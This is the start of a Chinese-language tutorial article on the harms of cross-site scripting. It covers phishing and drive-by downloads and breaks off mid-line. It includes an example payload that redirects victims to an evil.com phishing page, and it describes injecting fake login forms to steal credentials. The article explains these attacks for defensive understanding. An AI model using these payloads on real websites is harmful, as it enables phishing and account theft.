萬盛學電腦網

瀏覽器 Windows 10 WPS Office 防毒軟體 資料庫 Excel 教學 檔案管理 Word 教學 網頁製作 裝機必備軟體 Linux 教學

您现在的位置： 萬盛學電腦網 >> 網路安全 >  >> 資訊安全防護

XSS 跨站腳本攻擊危害全解析：從釣魚、掛馬到蠕蟲傳播

XSS 攻擊影響面

XSS 允許攻擊者在受害者瀏覽器執行任意 JavaScript，**繞過同源策略 (SOP)**，竊取/操作受害者在目標網域的所有資料與行為。

七大具體危害場景

1. 釣魚欺騙 (Phishing)

  • 反射型 XSS 重定向至仿冒登入頁 (`location.href='https://evil.com/phish?return='+location.href`)。
  • 注入偽造登入表單 (`document.write('
    ...')`)，盜取帳密。
  • DHTML 進階釣魚：動態重寫整頁 DOM，完美偽裝原站 UI。

2. 掛馬 / 惡意軟體分發 (Drive-by Download)

  • 隱藏 `